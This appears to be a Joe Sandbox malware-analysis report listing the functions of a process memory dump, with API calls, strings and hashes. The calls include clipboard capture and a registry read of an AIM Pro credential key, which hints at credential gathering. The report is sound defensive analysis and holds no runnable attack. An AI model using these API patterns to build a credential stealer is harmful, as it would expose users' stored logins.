Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d56762f5ff07e452d55025f92145a06934d9f9e83bc165fc514a96713f281235
Instruction ID: 6b5441a44151c9e47baf98361d0eca158f6ada1b16bcce3b9b94d573676807d0
Opcode Fuzzy Hash: d56762f5ff07e452d55025f92145a06934d9f9e83bc165fc514a96713f281235
Instruction Fuzzy Hash: 63C092B0690200BEFE224A10AE19FB6255DD780700F2044247E40E80E0C1A14D108524

Function 00404CE0 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(?,00404CA5,00000000,00404771,?,?), ref: 00404CEB

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 09654d27d92bbbd4347e31d37517ef01c67619c045b00d8d4426f03fbba466b4
Instruction ID: e399220ee4d6b13c72a3c0d8b1802730825471fdce5c5047c746ffbeb5b4c0d0
Opcode Fuzzy Hash: 09654d27d92bbbd4347e31d37517ef01c67619c045b00d8d4426f03fbba466b4
Instruction Fuzzy Hash: 95C09B71111701CBF7214F50C948793B7F4BF40717F50485C95D5D5080D77CD554DA18

Function 00412111 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

EnumResourceNamesA.KERNEL32(?,?,Function_0001208B,00000000), ref: 00412120

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: EnumNamesResource
String ID:
API String ID: 3334572018-0
Opcode ID: ba829d88c3412ff21df67adf2b83c510d22bc263701ca9dedf1e72494c089302
Instruction ID: 035a6a4498e4538559194e0194001357af3b3daa9477d160ae033d236808df75
Opcode Fuzzy Hash: ba829d88c3412ff21df67adf2b83c510d22bc263701ca9dedf1e72494c089302
Instruction Fuzzy Hash: F1C09B31594741D7D7119F608D05F5B7E95BB9C701F114D397355D40A4D7514024D605

Function 00407930 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?,00407846,00000000,?,?,?,004042E3,?), ref: 0040793A

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 7e54cd433b5ce253bc2727deb76d35bdd44679d6989c35a24742b702d722518c
Instruction ID: 0badf10416d1e61bd1c3ad237588f2502b9813823e024cd162efce7da5e32b0f
Opcode Fuzzy Hash: 7e54cd433b5ce253bc2727deb76d35bdd44679d6989c35a24742b702d722518c
Instruction Fuzzy Hash: B5C09270A109019BE22C5F38EC5986E77E1AF8A3343B45F6CA0F3E20F0E73895428A04

Function 00411D68 Relevance: 1.5, APIs: 1, Instructions: 7registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000001,80000001,00000000,00020019,80000001,00402850,80000001,Software\AIM\AIMPRO,?), ref: 00411D7B

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: b465aea9c7eaf0091ba49f462bc8b3cd6046f75692c30915c3b30d88ca534391
Instruction ID: ce7f413466e1863fe1078dd7deec7b9c9a94e59086d3684c19d06f0563d6b072
Opcode Fuzzy Hash: b465aea9c7eaf0091ba49f462bc8b3cd6046f75692c30915c3b30d88ca534391
Instruction Fuzzy Hash: 5CC09235548301FFDE128F80EE0AF4ABFA2BBC8B05F508818B284240B1C2728824EB57

Function 004069D3 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(0040390F,0040D4DB,0040390F,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 004069D7

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 77a73d6f288b94d7a7248812d8204c1d44c35e38f391bb5ddf3e052da3bda440
Instruction ID: 66443cf59350c8d7b1baefe17900325ca04844ca679cc43594c3e66389cfa9db
Opcode Fuzzy Hash: 77a73d6f288b94d7a7248812d8204c1d44c35e38f391bb5ddf3e052da3bda440
Instruction Fuzzy Hash: 48B012752104009BCB090B34DD451CD35505F84631720473CB033C40F0E720CC60BA00

Non-executed Functions

Function 004068B5 Relevance: 16.6, APIs: 11, Instructions: 58clipboardmemoryfileCOMMON

Download Yara Rule

APIs

EmptyClipboard.USER32 ref: 004068BF

Part of subcall function 004067BA: CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,00404233,?), ref: 004067CC

GetFileSize.KERNEL32(00000000,00000000), ref: 004068DC
GlobalAlloc.KERNEL32(00002000,00000001), ref: 004068ED
GlobalFix.KERNEL32(00000000), ref: 004068FA
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 0040690D
GlobalUnWire.KERNEL32(00000000), ref: 0040691C
SetClipboardData.USER32(00000001,00000000), ref: 00406925
GetLastError.KERNEL32 ref: 0040692D
CloseHandle.KERNEL32(?), ref: 00406939
GetLastError.KERNEL32 ref: 00406944
CloseClipboard.USER32 ref: 0040694D

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ClipboardFileGlobal$CloseErrorLast$AllocCreateDataEmptyHandleReadSizeWire
String ID:
API String ID: 2565263379-0
Opcode ID: 7cc790b86ad5fb4f13c7b98d55ec42b7b78c1a001a2156659b5bb496b015d989
Instruction ID: 43236b9afd726b755d45991aac83c0a8e3bcf6aaaa4f317cb2ebd178168b56f4
Opcode Fuzzy Hash: 7cc790b86ad5fb4f13c7b98d55ec42b7b78c1a001a2156659b5bb496b015d989
Instruction Fuzzy Hash: 07113D75904605FBD7116FA4AD4CBDE7FB8EB88325F108075F902E2290DB748944CA69

Function 004072B5 Relevance: 12.0, APIs: 8, Instructions: 42clipboardmemorystringCOMMON

Download Yara Rule

APIs

EmptyClipboard.USER32 ref: 004072BD
strlen.MSVCRT ref: 004072CA
GlobalAlloc.KERNEL32(00002000,00000001,?,?,?,?,0040BB80,?), ref: 004072D9
GlobalFix.KERNEL32(00000000), ref: 004072E6
memcpy.MSVCRT ref: 004072EF
GlobalUnWire.KERNEL32(00000000), ref: 004072F8
SetClipboardData.USER32(00000001,00000000), ref: 00407301
CloseClipboard.USER32 ref: 00407311

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ClipboardGlobal$AllocCloseDataEmptyWirememcpystrlen
String ID:
API String ID: 2315226746-0
Opcode ID: a78d69c54143d1a16fd49fb3941744d5e455784aa02fabf2be394f33c89f07e1
Instruction ID: b56ddb85736e4a30ce9fec78ed7ee79c44370bf8c75140d3078b235505e53826
Opcode Fuzzy Hash: a78d69c54143d1a16fd49fb3941744d5e455784aa02fabf2be394f33c89f07e1
Instruction Fuzzy Hash: 7DF0B437A00619BBD3112BA1BC4CEDB7B2CDBC4B96B054179FE05D6152DA38980486F9

Function 0040BA30 Relevance: 9.1, APIs: 6, Instructions: 54fileclipboardCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 0040BA4A
GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0040BA5C
GetTempFileNameA.KERNEL32(?,00418628,00000000,?), ref: 0040BA7E
OpenClipboard.USER32(?), ref: 0040BA9E
GetLastError.KERNEL32 ref: 0040BAB7
DeleteFileA.KERNEL32(00000000), ref: 0040BAD4

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: FileTemp$ClipboardDeleteDirectoryErrorLastNameOpenPathWindows
String ID:
API String ID: 2014771361-0
Opcode ID: bc4e754206438fbec1c043f7d2b58fad48fd6537ef89688e957de5baac6cac8f
Instruction ID: 5bfde055311aa1c1ac8a047c999dbef42aa9d8293b3a95092e24ac928ebec7a0
Opcode Fuzzy Hash: bc4e754206438fbec1c043f7d2b58fad48fd6537ef89688e957de5baac6cac8f
Instruction Fuzzy Hash: E9115276600218ABDB609BA1DC49FCB77BCAB54701F0040B6B69AE2091DBB499C58F68

Function 00406B06 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(0041E160,?,00406B2F,0040261A), ref: 00406B20

Strings

`A, xrefs: 00406B0E

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Version
String ID: `A
API String ID: 1889659487-1337903584
Opcode ID: 89848a9a064684b9105e07163e2dbe6bd78a8fd97e7dba8b0dce623eab9b2175
Instruction ID: da77bcce2c8e52e385cf56c8afe7a40ad3a24cfb33d571a5ca18312b8fc7eb0c
Opcode Fuzzy Hash: 89848a9a064684b9105e07163e2dbe6bd78a8fd97e7dba8b0dce623eab9b2175
Instruction Fuzzy Hash: 8EC00279911225EBD6205B59BD08BC677A8A74D355F018476A901A2264C3F81C45C799

Function 00402CAC Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ??2@??3@memcpymemset
String ID:
API String ID: 1865533344-0
Opcode ID: fc129983728a693933f5d85e4071a9747e45de0643ec79e9de962b7f36dcd842
Instruction ID: 62c929b2a8c9eda681fcbeac590a9e5353e8b2b02561f88d837e7edf03da810a
Opcode Fuzzy Hash: fc129983728a693933f5d85e4071a9747e45de0643ec79e9de962b7f36dcd842
Instruction Fuzzy Hash: 53115A71D00209EFCF11DF50C909AEE3BB1EF08324F00806AF9556B2A0C7799E519F5A

Function 00402D66 Relevance: 1.5, APIs: 1, Instructions: 6nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.NTDLL(?,?,?,?,00402F43,?,?,?), ref: 00402D78

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 24c9abbbc2f77973fb9f5f6e8b2dde0b2aadf82b4ac78fa5f49e8422626c4635
Instruction ID: 18f0fae9bb85e5f8d4e9ae0994b7d7041281ae5190cd626e6e6ab693fc77f1ec
Opcode Fuzzy Hash: 24c9abbbc2f77973fb9f5f6e8b2dde0b2aadf82b4ac78fa5f49e8422626c4635
Instruction Fuzzy Hash: CBC04C36008100FFCA024B40CD08D8ABB62AB94310F00C468B1A804030C7734061EF01

Function 004032C8 Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

%@, xrefs: 004032D0, 00403621

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID:
String ID: %@
API String ID: 0-2048787947
Opcode ID: ad93ae6e30be9753a74d7e44eaa31557b7193723352b907c034d2df334339fc8
Instruction ID: 764401249e110e3cb6679b7d62141f4ed0615e28c2ac9088502d2f70acb45769
Opcode Fuzzy Hash: ad93ae6e30be9753a74d7e44eaa31557b7193723352b907c034d2df334339fc8
Instruction Fuzzy Hash: 3DC1FD76A007019BD755CFA9D8D06A9B3F2FF8C31CFAA455CC6425B752C6787A22CB80

Function 00401246 Relevance: 1.5, Strings: 1, Instructions: 201COMMON

Download Yara Rule

Strings

d|A, xrefs: 0040146C

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID:
String ID: d|A
API String ID: 0-852426002
Opcode ID: 533488f972ae31ce2908cb76c4a4e5969a66af9a875d5a852dfbad047ee9c73e
Instruction ID: 8965b49aabd178cd6e2845865c5b1b720a121828befcdf2dd3822f772577315f
Opcode Fuzzy Hash: 533488f972ae31ce2908cb76c4a4e5969a66af9a875d5a852dfbad047ee9c73e
Instruction Fuzzy Hash: 60814E72A245B04AD348CF2E8860526BBE39FCD60576FC1EED5854F26BCA31D803DB94

Function 00401689 Relevance: .9, Instructions: 894COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6340be2d3523c7978f1dff1794b823040ec66611f6b03ba2096102d4f34c534
Instruction ID: bc2cfa25497580763c1d2bb54614b14623b217e8004e18732e2f155b5d2cfc0b
Opcode Fuzzy Hash: e6340be2d3523c7978f1dff1794b823040ec66611f6b03ba2096102d4f34c534
Instruction Fuzzy Hash: AB92A6369042598FCB44CF6AECD49AE77B3EB89300B5FC5A9C64163365D730B612CB98

Function 0040CA46 Relevance: .6, Instructions: 595COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b84eadeceb15b833d74a6b3ddcf4bdaa302aef256980365e51470e07e4227508
Instruction ID: 8e3ad788e2b47047ad7c21b66b362804302468dbbdc0c1ed7242a88a839864d8
Opcode Fuzzy Hash: b84eadeceb15b833d74a6b3ddcf4bdaa302aef256980365e51470e07e4227508
Instruction Fuzzy Hash: FC42D5B7E403299FCB14CFD5C8C0589F7B2BFD8314B1B95958918BB216D2B4BA468BD0

Function 00405235 Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93954f015f5e6b8c85dfc6d5764cbdce22af78e26538758a0d9d6444a4458ab5
Instruction ID: d43244a396d5f4a3ba48707e5aa8a20fc8b38e5d6d9cf7fc243f1926763d9e64
Opcode Fuzzy Hash: 93954f015f5e6b8c85dfc6d5764cbdce22af78e26538758a0d9d6444a4458ab5
Instruction Fuzzy Hash: DAA18F37BA0B0907E30849EAACC6395B5C3D7D8354F6E82398B74C73D2E9FD99168194

Function 00402F60 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98b638d990f2d0190e4e281e0d140167dadd9dd4a65c3cd1cacc278d9fe1101d
Instruction ID: ed8d624962a64bd138e42d0c56af333949bf8528571032962a100f164d881147
Opcode Fuzzy Hash: 98b638d990f2d0190e4e281e0d140167dadd9dd4a65c3cd1cacc278d9fe1101d
Instruction Fuzzy Hash: B2C10E76A00701DBD755CFA9D8D06A9B3F2FF8C31CFAA4558C6425B752C6787A22CB80

Function 004014AB Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 622debcb5f3ffc92c74e1203300d62182344d31d64fa9ddc17c95d852f9b2314
Instruction ID: 545d614fe71d6218cfff75737131343f288f14b76d62fb67e2028a86465d2ab5
Opcode Fuzzy Hash: 622debcb5f3ffc92c74e1203300d62182344d31d64fa9ddc17c95d852f9b2314
Instruction Fuzzy Hash: 9D51293A9096468BC305CF19E9C0549BBB2EB8A315B1BC5B9D654AB331C730F921CF9C

Function 004051A4 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 111d02f8ad5523aaf7009dd2665b0d782d5f10cf364f69f7ff0d7f5700c33ba2
Instruction ID: 5541eba4914a70d9cd97eb87dc420df8dc16cdd8bfeb51ad3953f16f0890c6b1
Opcode Fuzzy Hash: 111d02f8ad5523aaf7009dd2665b0d782d5f10cf364f69f7ff0d7f5700c33ba2
Instruction Fuzzy Hash: FB017C76B106068FD308CFADFCC0966B3A2FBD93117088539DA06C3265DB70F521CA94

Function 004050C2 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4540386dd2ecfa8358b54f970b731510518c9cc2a47fdc7166f1c0352bd1f31
Instruction ID: e46ac8c8d649937048925bbc22b10e31c7d260e61c9919193dd0f57e0586c858
Opcode Fuzzy Hash: d4540386dd2ecfa8358b54f970b731510518c9cc2a47fdc7166f1c0352bd1f31
Instruction Fuzzy Hash: 75011E326019208FA38DCE3AC80545377E3FFCA325326C1E8D845AB579D6316802CBD4

Function 00405133 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf104503c4d1f63e508e528481e2c1d582825b9df7b848c5f582128bf29b2c3b
Instruction ID: 1c8cf4990013556009a943ce68bbe5c533817c3d042a03847a5f6a4628de1edc
Opcode Fuzzy Hash: cf104503c4d1f63e508e528481e2c1d582825b9df7b848c5f582128bf29b2c3b
Instruction Fuzzy Hash: DA01E8326159308FA389DE3AC80144377E3FFCA32532AC1E5C945AB57DD6316847DB90

Function 00412768 Relevance: 191.1, APIs: 8, Strings: 101, Instructions: 307stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00412B87
_strncoll.MSVCRT ref: 00412B97
memcpy.MSVCRT ref: 00412C13
atoi.MSVCRT ref: 00412C24
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000002,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00412C50

Strings

Igrave;, xrefs: 00412963
ordm;, xrefs: 004128AF
Otilde;, xrefs: 004129BD
szlig;, xrefs: 00412A21
Ograve;, xrefs: 0041299F
Euml;, xrefs: 00412959
Oacute;, xrefs: 004129A9
icirc;, xrefs: 00412AC4
frac34;, xrefs: 004128D7
yuml;, xrefs: 00412B50
frac12;, xrefs: 004128CD
Ouml;, xrefs: 004129C7
atilde;, xrefs: 00412A49
Ntilde;, xrefs: 00412995
ocirc;, xrefs: 00412B00
quot;, xrefs: 00412788
aring;, xrefs: 00412A6A
iacute;, xrefs: 00412ABA
Yacute;, xrefs: 00412A0D
gt;, xrefs: 00412781
cedil;, xrefs: 0041289B
acirc;, xrefs: 00412A3F
Aacute;, xrefs: 004128F5
iquest;, xrefs: 004128E1
Auml;, xrefs: 00412913
sup3;, xrefs: 00412869
laquo;, xrefs: 00412819
Uacute;, xrefs: 004129EF
cent;, xrefs: 004127BF
acute;, xrefs: 00412873
iuml;, xrefs: 00412ACE
aelig;, xrefs: 00412A74
pound;, xrefs: 004127C9
ouml;, xrefs: 00412B11
sect;, xrefs: 004127F1
Agrave;, xrefs: 004128EB
Acirc;, xrefs: 004128FF
ntilde;, xrefs: 00412AE2
uml;, xrefs: 004127FB
Ccedil;, xrefs: 00412931
reg;, xrefs: 00412837
ordf;, xrefs: 0041280F
Icirc;, xrefs: 00412977
shy;, xrefs: 0041282D
raquo;, xrefs: 004128B9
agrave;, xrefs: 00412A2B
lt;, xrefs: 0041277A
ecirc;, xrefs: 00412A9C
oacute;, xrefs: 00412AF6
middot;, xrefs: 00412891
AElig;, xrefs: 00412927
igrave;, xrefs: 00412AB0
iexcl;, xrefs: 004127B5
Iacute;, xrefs: 0041296D
sup1;, xrefs: 004128A5
ETH;, xrefs: 0041298B
aacute;, xrefs: 00412A35
apos;, xrefs: 00412796
Atilde;, xrefs: 00412909
ugrave;, xrefs: 00412B26
Iuml;, xrefs: 00412981
nbsp;, xrefs: 0041278F
Egrave;, xrefs: 0041293B
para;, xrefs: 00412887
macr;, xrefs: 00412841
brvbar;, xrefs: 004127E7
plusmn;, xrefs: 00412855
euml;, xrefs: 00412AA6
frac14;, xrefs: 004128C3
Ocirc;, xrefs: 004129B3
eacute;, xrefs: 00412A92
Uuml;, xrefs: 00412A03
sup2;, xrefs: 0041285F
micro;, xrefs: 0041287D
otilde;, xrefs: 00412B0A
Ucirc;, xrefs: 004129F9
thorn;, xrefs: 00412B49
uacute;, xrefs: 00412B2D
Ecirc;, xrefs: 0041294F
copy;, xrefs: 00412805
times;, xrefs: 004129D1
deg;, xrefs: 0041284B
oslash;, xrefs: 00412B1F
Eacute;, xrefs: 00412945
not;, xrefs: 00412823
egrave;, xrefs: 00412A88
eth;, xrefs: 00412AD8
auml;, xrefs: 00412A60
ograve;, xrefs: 00412AEC
Oslash;, xrefs: 004129DB
uuml;, xrefs: 00412B3B
ucirc;, xrefs: 00412B34
yacute;, xrefs: 00412B42
curren;, xrefs: 004127D3
THORN;, xrefs: 00412A17
divide;, xrefs: 00412B18
amp;, xrefs: 00412773
Aring;, xrefs: 0041291D
ccedil;, xrefs: 00412A7E
yen;, xrefs: 004127DD
Ugrave;, xrefs: 004129E5

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ByteCharMultiWide_strncollatoimemcpystrlen
String ID: AElig;$Aacute;$Acirc;$Agrave;$Aring;$Atilde;$Auml;$Ccedil;$ETH;$Eacute;$Ecirc;$Egrave;$Euml;$Iacute;$Icirc;$Igrave;$Iuml;$Ntilde;$Oacute;$Ocirc;$Ograve;$Oslash;$Otilde;$Ouml;$THORN;$Uacute;$Ucirc;$Ugrave;$Uuml;$Yacute;$aacute;$acirc;$acute;$aelig;$agrave;$amp;$apos;$aring;$atilde;$auml;$brvbar;$ccedil;$cedil;$cent;$copy;$curren;$deg;$divide;$eacute;$ecirc;$egrave;$eth;$euml;$frac12;$frac14;$frac34;$gt;$iacute;$icirc;$iexcl;$igrave;$iquest;$iuml;$laquo;$lt;$macr;$micro;$middot;$nbsp;$not;$ntilde;$oacute;$ocirc;$ograve;$ordf;$ordm;$oslash;$otilde;$ouml;$para;$plusmn;$pound;$quot;$raquo;$reg;$sect;$shy;$sup1;$sup2;$sup3;$szlig;$thorn;$times;$uacute;$ucirc;$ugrave;$uml;$uuml;$yacute;$yen;$yuml;
API String ID: 1864335961-3210201812
Opcode ID: 4454015bb34ad17b627a5be0e2725abbe23317b8734bfa8cf262dd92011da116
Instruction ID: 3bd07b0f0ec87f02ccef6cae80a33f2a43e47736a5c113f17b6628cc3434821e
Opcode Fuzzy Hash: 4454015bb34ad17b627a5be0e2725abbe23317b8734bfa8cf262dd92011da116
Instruction Fuzzy Hash: 3BF125B1C042989EDF25CF94C9687DDBBB1AB05308F1481CAD8596B242D7B84ECACF5C

Function 004117B1 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 264stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 004117DE
GetDlgItem.USER32(?,000003E8), ref: 004117EA
GetWindowLongA.USER32(00000000,000000F0), ref: 004117F9
GetWindowLongA.USER32(?,000000F0), ref: 00411805
GetWindowLongA.USER32(00000000,000000EC), ref: 0041180E
GetWindowLongA.USER32(?,000000EC), ref: 0041181A
GetWindowRect.USER32(00000000,?), ref: 0041182C
GetWindowRect.USER32(?,?), ref: 00411837
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0041184B
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 00411859
GetDC.USER32 ref: 00411892
strlen.MSVCRT ref: 004118D2
GetTextExtentPoint32A.GDI32(?,00000000,00000000,?), ref: 004118E3
ReleaseDC.USER32(?,?), ref: 00411930
sprintf.MSVCRT ref: 004119F0
SetWindowTextA.USER32(?,?), ref: 00411A04
SetWindowTextA.USER32(?,00000000), ref: 00411A22
GetDlgItem.USER32(?,00000001), ref: 00411A58
GetWindowRect.USER32(00000000,?), ref: 00411A68
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 00411A76
GetClientRect.USER32(?,?), ref: 00411A8D
GetWindowRect.USER32(?,?), ref: 00411A97
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000206), ref: 00411ADD
GetClientRect.USER32(?,?), ref: 00411AE7
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 00411B1F

Strings

EDIT, xrefs: 004119CB
%s:, xrefs: 004119EA
STATIC, xrefs: 00411994

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Window$Rect$Long$ItemPointsText$Client$ExtentPoint32Releasesprintfstrlen
String ID: %s:$EDIT$STATIC
API String ID: 1703216249-3046471546
Opcode ID: aed0d2fc460153e712b5f87657be857b759c42e44ee73449b635be24a1b57749
Instruction ID: b52727e0d403183305b875c614282f55299ec8bf2f46e0c3c56b37a88aeefe3f
Opcode Fuzzy Hash: aed0d2fc460153e712b5f87657be857b759c42e44ee73449b635be24a1b57749
Instruction Fuzzy Hash: B2B1DF72108341AFD711DF68C985AABBBE9FF88704F00492DFA9993261DB75E904CF16

Function 004105A6 Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 213windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 004105EE
GetDlgItem.USER32(?,000003EA), ref: 00410606
SendMessageA.USER32(00000000,000000B1,00000000,0000FFFF), ref: 00410625
SendMessageA.USER32(?,00000301,00000000,00000000), ref: 00410632
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 0041063B
memset.MSVCRT ref: 00410663
memset.MSVCRT ref: 00410683
memset.MSVCRT ref: 004106A1
memset.MSVCRT ref: 004106BA
memset.MSVCRT ref: 004106D8
memset.MSVCRT ref: 004106F1
GetCurrentProcess.KERNEL32 ref: 004106F9
ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 0041071E
ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 00410754
memset.MSVCRT ref: 0041078F
GetCurrentProcessId.KERNEL32 ref: 0041079D
memcpy.MSVCRT ref: 004107CC
_mbscpy.MSVCRT ref: 004107EE
sprintf.MSVCRT ref: 00410859
SetDlgItemTextA.USER32(?,000003EA,?), ref: 00410872
GetDlgItem.USER32(?,000003EA), ref: 0041087C
SetFocus.USER32(00000000), ref: 00410883

Strings

Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X ESP=%8.8XEIP=%8.8XStack Data: %sCode Data: %s, xrefs: 00410853
{Unknown}, xrefs: 00410668

